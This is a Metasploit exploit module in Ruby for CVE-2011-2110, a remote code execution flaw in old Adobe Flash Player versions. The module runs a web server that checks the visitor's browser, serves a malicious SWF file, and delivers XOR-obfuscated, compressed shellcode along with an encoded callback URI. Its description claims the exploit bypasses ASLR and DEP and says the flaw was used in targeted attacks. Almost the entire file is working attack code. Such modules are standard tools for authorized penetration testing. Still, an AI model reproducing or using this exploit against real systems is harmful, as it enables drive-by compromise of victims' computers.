Adobe Flash Player AVM Verification Logic Array Indexing Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Adobe Flash Player AVM Verification Logic Array Indexing Code Execution',
      'Description'    => %q{
          This module exploits a vulnerability in Adobe Flash Player versions 10.3.181.23
        and earlier. This issue is caused by a failure in the ActionScript3 AVM2 verification
        logic. This results in unsafe JIT(Just-In-Time) code being executed. This is the same
        vulnerability that was used for attacks against Korean based organizations.

          Specifically, this issue occurs when indexing an array using an arbitrary value,
        memory can be referenced and later executed. Taking advantage of this issue does not rely
        on heap spraying as the vulnerability can also be used for information leakage.

          Currently this exploit works for IE6, IE7, IE8, Firefox 10.2 and likely several
        other browsers under multiple Windows platforms. This exploit bypasses ASLR/DEP and
        is very reliable.
        },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'mr_me <steventhomasseeley[at]gmail.com>', # msf exploit
          'Unknown'                                  # malware version seen used in targeted attacks
        ],
      'References'     =>
        [
          ['CVE', '2011-2110'],
          ['OSVDB', '73007'],
          ['BID', '48268'],
          ['URL', 'http://www.adobe.com/devnet/swf.html'],
          ['URL', 'http://www.adobe.com/support/security/bulletins/apsb11-18.html'],
          ['URL', 'http://www.accessroot.com/arteam/site/download.php?view.331'],
          ['URL', 'http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20110617'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC'             => 'process',
          'HTTP::compression'    => 'gzip',
          'HTTP::chunked'        => true,
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Payload'        =>
        {
          'Space'       => 2000,
          'BadChars'    => "\x00",
          'DisableNops' => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {}],
        ],
      'DisclosureDate' => '2012-06-21',
      'DefaultTarget'  => 0))
  end

  def exploit
    # src for the flash file: external/source/exploits/CVE-2011-2110/CVE-2011-2110.as
    # full aslr/dep bypass using the info leak as per malware
    path = File.join( Msf::Config.data_directory, "exploits", "CVE-2011-2110.swf" )
    fd = File.open( path, "rb" )
    @swf = fd.read(fd.stat.size)
    fd.close
    super
  end

  def check_dependencies
    use_zlib
  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    if agent =~ /MSIE/
      return targets[0]  # ie 6/7/8 tested working
    elsif agent =~ /Firefox/
      return targets[0]  # ff 10.2 tested working
    else
      return nil
    end
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    my_target = get_target(agent)

    # Avoid the attack if the victim doesn't have the same setup we're targeting
    if my_target.nil?
      print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
      send_not_found(cli)
      return
    end

    xor_byte  = 122
    trigger   = @swf
    trigger_file = rand_text_alpha(rand(6)+3) + ".swf"
    code = rand_text_alpha(rand(6)+3) + ".txt"

    sc = Zlib::Deflate.deflate(payload.encoded)
    shellcode = ""

    sc.each_byte do | c |
      shellcode << (xor_byte ^ c)
    end

    uri  = ((datastore['SSL']) ? "https://" : "http://")
    uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
    uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{code}"

    bd_uri = Zlib::Deflate.deflate(uri)

    uri = ""
    bd_uri.each_byte do | c |
      uri << (xor_byte ^ c)
    end

    bd_uri = uri.unpack("H*")[0]

    obj_id = rand_text_alpha(rand(6)+3)

    if request.uri.match(/\.swf/i)
      print_status("Sending malicious swf")
      send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
      return
    end

    if request.uri.match(/\.txt/i)
      print_status("Sending payload")
      send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
      return
    end

    html =  <<-EOS
    <html>
    <head>
    </head>
    <body>
    <center>
    <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
    id="#{obj_id}" width="600" height="400"
    codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
    <param name="movie" value="#{get_resource}/#{trigger_file}?info=#{bd_uri}" />
    <embed src="#{get_resource}/#{trigger_file}?info=#{bd_uri}" quality="high"
    width="320" height="300" name="#{obj_id}" align="middle"
    allowNetworking="all"
    type="application/x-shockwave-flash"
    pluginspage="http://www.macromedia.com/go/getflashplayer">
    </embed>
    </object>
    </center>
    </body>
    </html>
    EOS

    html = html.gsub(/^ {4}/, '')

    print_status("Sending #{self.name} HTML")
    send_response(cli, html, { 'Content-Type' => 'text/html' })
  end
end